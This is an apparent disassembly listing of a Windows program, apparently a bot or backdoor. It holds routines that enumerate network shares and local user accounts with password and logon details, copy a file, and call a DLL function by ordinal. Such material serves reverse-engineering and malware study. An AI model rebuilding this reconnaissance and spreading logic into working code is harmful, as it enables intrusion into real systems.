		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_419E80
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4127F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_412839	proc near		; CODE XREF: sub_412667+20p
					; sub_413FC4+1BCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4127F8
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4127F8
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4D6534
		pop	esi
		retn
sub_412839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41285C	proc near		; CODE XREF: sub_401C87+2F7Fp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_4127F8
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 18h


loc_412895:				; CODE XREF: sub_41285C+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4D65AC
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_4128F8
		cmp	ebx, 0EAh
		jz	short loc_4128F8
		push	ebx
		push	ebx
		call	sub_413007
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_443CCC
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 24h
		jmp	short loc_412965
; ---------------------------------------------------------------------------


loc_4128F8:				; CODE XREF: sub_41285C+5Dj
					; sub_41285C+65j
		xor	edi, edi
		inc	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_41295C
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_412906:				; CODE XREF: sub_41285C+FCj
		push	dword ptr [esi+10h]
		call	dword_4D6550	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41291D
		mov	eax, offset aNo	; "No"


loc_41291D:				; CODE XREF: sub_41285C+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_412906
		xor	esi, esi


loc_41295C:				; CODE XREF: sub_41285C+A2j
		push	[ebp+var_4]
		call	dword_4D66F8


loc_412965:				; CODE XREF: sub_41285C+9Aj
		cmp	ebx, 0EAh
		jz	loc_412895
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41285C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41297D	proc near		; CODE XREF: sub_401C87+2FD8p
					; sub_401C87+2FF3p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_412A21
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_4129BF
		dec	eax
		jz	short loc_4129B4
		dec	eax
		jnz	short loc_4129DA
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_412AC3
		add	esp, 14h
		jmp	short loc_4129D6
; ---------------------------------------------------------------------------


loc_4129B4:				; CODE XREF: sub_41297D+1Dj
		push	ebx
		push	edi
		call	sub_412AA2
		pop	ecx
		pop	ecx
		jmp	short loc_4129D6
; ---------------------------------------------------------------------------


loc_4129BF:				; CODE XREF: sub_41297D+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_4129D3
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_412A48
		add	esp, 0Ch
		jmp	short loc_4129D6
; ---------------------------------------------------------------------------


loc_4129D3:				; CODE XREF: sub_41297D+45j
		push	57h
		pop	eax


loc_4129D6:				; CODE XREF: sub_41297D+35j
					; sub_41297D+40j ...
		cmp	eax, edi
		jnz	short loc_4129FA


loc_4129DA:				; CODE XREF: sub_41297D+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DDAE0
		push	off_443624[eax*4]
		push	offset unk_443D14
		push	esi
		call	sub_417CB0
		add	esp, 10h
		jmp	short loc_412A41
; ---------------------------------------------------------------------------


loc_4129FA:				; CODE XREF: sub_41297D+5Bj
		push	eax
		call	sub_413007
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DDAE0
		push	off_443620[eax*4]
		push	offset unk_443D34
		push	esi
		call	sub_417CB0
		add	esp, 18h
		jmp	short loc_412A41
; ---------------------------------------------------------------------------


loc_412A21:				; CODE XREF: sub_41297D+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DDAE0
		lea	eax, [eax+eax*2]
		push	off_443620[eax*4]
		push	offset unk_443D64
		push	esi
		call	sub_417CB0
		add	esp, 0Ch


loc_412A41:				; CODE XREF: sub_41297D+7Bj
					; sub_41297D+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41297D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A48	proc near		; CODE XREF: sub_41297D+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_4127F8
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4127F8
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_4127F8
		add	esp, 0Ch
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		lea	ecx, [ebp+var_4]
		mov	[ebp+var_20], eax
		xor	eax, eax
		push	ecx
		lea	ecx, [ebp+var_24]
		inc	eax
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4D6540
		pop	edi
		leave
		retn
sub_412A48	endp


; =============== S U B	R O U T	I N E =======================================



sub_412AA2	proc near		; CODE XREF: sub_41297D+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4127F8
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4127F8
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4D6530
		pop	esi
		retn
sub_412AA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412AC3	proc near		; CODE XREF: sub_41297D+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_4127F8
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_4127F8
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4D66C0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_412E50
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_412E8B
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_417CB0
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_412BDC
		dec	eax
		jz	short loc_412BD5
		dec	eax
		jz	short loc_412BCE
		mov	eax, offset aUnknown_1 ; "Unknown"
		jmp	short loc_412BE1
; ---------------------------------------------------------------------------


loc_412BCE:				; CODE XREF: sub_412AC3+102j
		mov	eax, offset aAdministrato_0 ; "Administrator"
		jmp	short loc_412BE1
; ---------------------------------------------------------------------------


loc_412BD5:				; CODE XREF: sub_412AC3+FFj
		mov	eax, offset aUser_3 ; "User"
		jmp	short loc_412BE1
; ---------------------------------------------------------------------------


loc_412BDC:				; CODE XREF: sub_412AC3+FCj
		mov	eax, offset aGuest_0 ; "Guest"


loc_412BE1:				; CODE XREF: sub_412AC3+109j
					; sub_412AC3+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40764A
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_412E7C
; ---------------------------------------------------------------------------


loc_412E50:				; CODE XREF: sub_412AC3+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_443F14
		push	eax
		call	sub_417CB0
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40764A
		add	esp, 20h


loc_412E7C:				; CODE XREF: sub_412AC3+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_412E8B
		push	[ebp+var_4]
		call	dword_4D66F8


loc_412E8B:				; CODE XREF: sub_412AC3+40j
					; sub_412AC3+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_412AC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E91	proc near		; CODE XREF: sub_401C87+3030p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_4127F8
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 18h


loc_412ED0:				; CODE XREF: sub_412E91+12Bj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4D65C8
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_412F31
		cmp	eax, 0EAh
		jz	short loc_412F31
		push	eax
		push	eax
		call	sub_413007
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_443F5C
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 24h
		jmp	short loc_412FA2
; ---------------------------------------------------------------------------


loc_412F31:				; CODE XREF: sub_412E91+62j
					; sub_412E91+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_412FB5
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_412FA2


loc_412F3F:				; CODE XREF: sub_412E91+E9j
		cmp	edi, esi
		lea	eax, [ebp+var_218]
		jz	short loc_412F7E
		push	dword ptr [edi]


loc_412F4B:				; DATA XREF: .data:off_444D48o
					; .data:off_444D4Co
		push	offset aS_29	; "  %S"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_412F3F
		jmp	short loc_412FA2
; ---------------------------------------------------------------------------


loc_412F7E:				; CODE XREF: sub_412E91+B6j
		push	offset unk_443F88
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 1Ch


loc_412FA2:				; CODE XREF: sub_412E91+9Ej
					; sub_412E91+ACj ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_412FB5
		push	edi
		call	dword_4D66F8
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_412FB5:				; CODE XREF: sub_412E91+A5j
					; sub_412E91+116j
		cmp	[ebp+var_C], 0EAh
		jz	loc_412ED0
		cmp	edi, esi
		jz	short loc_412FCD
		push	edi
		call	dword_4D66F8


loc_412FCD:				; CODE XREF: sub_412E91+133j
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_412E91	endp


; =============== S U B	R O U T	I N E =======================================



sub_413007	proc near		; CODE XREF: sub_412667+41p
					; sub_41285C+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_4130B9
		jz	loc_4130B2
		cmp	eax, 7Bh
		ja	short loc_41307E
		jz	short loc_413074
		cmp	eax, 5
		jz	short loc_41306A
		cmp	eax, 8
		jz	short loc_413060
		cmp	eax, 32h
		jz	short loc_413056
		cmp	eax, 35h
		jz	short loc_41304C
		cmp	eax, 57h
		jnz	loc_413108
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_413129
; ---------------------------------------------------------------------------


loc_41304C:				; CODE XREF: sub_413007+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_413129
; ---------------------------------------------------------------------------


loc_413056:				; CODE XREF: sub_413007+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_413129
; ---------------------------------------------------------------------------


loc_413060:				; CODE XREF: sub_413007+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_413129
; ---------------------------------------------------------------------------


loc_41306A:				; CODE XREF: sub_413007+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_413129
; ---------------------------------------------------------------------------


loc_413074:				; CODE XREF: sub_413007+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_413129
; ---------------------------------------------------------------------------


loc_41307E:				; CODE XREF: sub_413007+1Aj
		sub	eax, 7Ch
		jz	short loc_4130AB
		sub	eax, 7C8h
		jz	short loc_4130A4
		dec	eax
		jz	short loc_41309A
		dec	eax
		jnz	short loc_413108
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_413129
; ---------------------------------------------------------------------------


loc_41309A:				; CODE XREF: sub_413007+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_413129
; ---------------------------------------------------------------------------


loc_4130A4:				; CODE XREF: sub_413007+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_413129
; ---------------------------------------------------------------------------


loc_4130AB:				; CODE XREF: sub_413007+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_413129
; ---------------------------------------------------------------------------


loc_4130B2:				; CODE XREF: sub_413007+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_413129
; ---------------------------------------------------------------------------


loc_4130B9:				; CODE XREF: sub_413007+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_4130F2
		jz	short loc_4130EB
		sub	eax, 8ADh
		jz	short loc_41311D
		dec	eax
		dec	eax
		jz	short loc_4130E4
		dec	eax
		jz	short loc_4130DD
		dec	eax
		dec	eax
		jnz	short loc_413108
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_413129
; ---------------------------------------------------------------------------


loc_4130DD:				; CODE XREF: sub_413007+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_413129
; ---------------------------------------------------------------------------


loc_4130E4:				; CODE XREF: sub_413007+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_413129
; ---------------------------------------------------------------------------


loc_4130EB:				; CODE XREF: sub_413007+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_413129
; ---------------------------------------------------------------------------


loc_4130F2:				; CODE XREF: sub_413007+B9j
		sub	eax, 8CAh
		jz	short loc_413124
		sub	eax, 17h
		jz	short loc_41311D
		sub	eax, 25h
		jz	short loc_413116
		sub	eax, 29h
		jz	short loc_41310F


loc_413108:				; CODE XREF: sub_413007+35j
					; sub_413007+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_413129
; ---------------------------------------------------------------------------


loc_41310F:				; CODE XREF: sub_413007+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_413129
; ---------------------------------------------------------------------------


loc_413116:				; CODE XREF: sub_413007+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_413129
; ---------------------------------------------------------------------------


loc_41311D:				; CODE XREF: sub_413007+C2j
					; sub_413007+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_413129
; ---------------------------------------------------------------------------


loc_413124:				; CODE XREF: sub_413007+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_413129:				; CODE XREF: sub_413007+40j
					; sub_413007+4Aj ...
		push	offset dword_4DD878
		call	sub_417CB0
		pop	ecx
		mov	eax, offset dword_4DD878
		pop	ecx
		retn
sub_413007	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41313B	proc near		; CODE XREF: sub_401C87+307Cp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41A890
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_4E0394	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41A890
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41A860
		add	esp, 10h
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4D6678
		test	eax, eax
		jnz	short loc_4131CB
		mov	esi, offset dword_4DD670
		push	offset unk_444290
		push	esi
		call	sub_417CB0
		pop	ecx
		pop	ecx
		jmp	short loc_4131F4
; ---------------------------------------------------------------------------


loc_4131CB:				; CODE XREF: sub_41313B+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_413007
		pop	ecx
		mov	esi, offset dword_4DD670
		push	eax
		push	offset dword_4442B8
		push	esi
		call	sub_417CB0
		add	esp, 14h


loc_4131F4:				; CODE XREF: sub_41313B+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41313B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp-94h]
		mov	dword ptr [ebp-94h], 94h
		push	eax
		call	dword_4E039C	; GetVersionExA
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_413244
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_413244
		lea	eax, [ebp-80h]
		push	offset dword_4442E4
		push	eax
		call	sub_417E00
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413244
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_413244:				; CODE XREF: .data:00413220j
					; .data:00413229j ...
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-104h]
		push	offset dword_4442E8
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	0
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4E0354	; CopyFileA
		neg	eax
		sbb	eax, eax
		neg	eax
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413282	proc near		; CODE XREF: .data:004133A6p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+var_200]
		push	100h
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	dword_4E0428	; MultiByteToWideChar
		push	offset dword_4442F0
		call	dword_4E037C	; LoadLibraryA
		push	5
		push	eax
		call	dword_4E0380	; GetProcAddress
		lea	ecx, [ebp+var_200]
		push	0FFFFFFFFh
		push	ecx
		push	0
		call	eax
		leave
		retn
sub_413282	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3B0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	46h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1B0h]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		mov	dword ptr [ebp-60h], offset byte_4442FC
		push	esi
		mov	[eax+114h], esi
		mov	dword ptr [ebp-5Ch], offset word_4442FE
		mov	dword ptr [ebp-58h], offset byte_444300
		mov	dword ptr [ebp-54h], offset byte_4DDEE0
		mov	dword ptr [ebp-50h], offset word_444302
		mov	dword ptr [ebp-4Ch], offset off_444304
		mov	dword ptr [ebp-48h], offset word_4DDEE2
		mov	dword ptr [ebp-44h], offset byte_4DDEE4
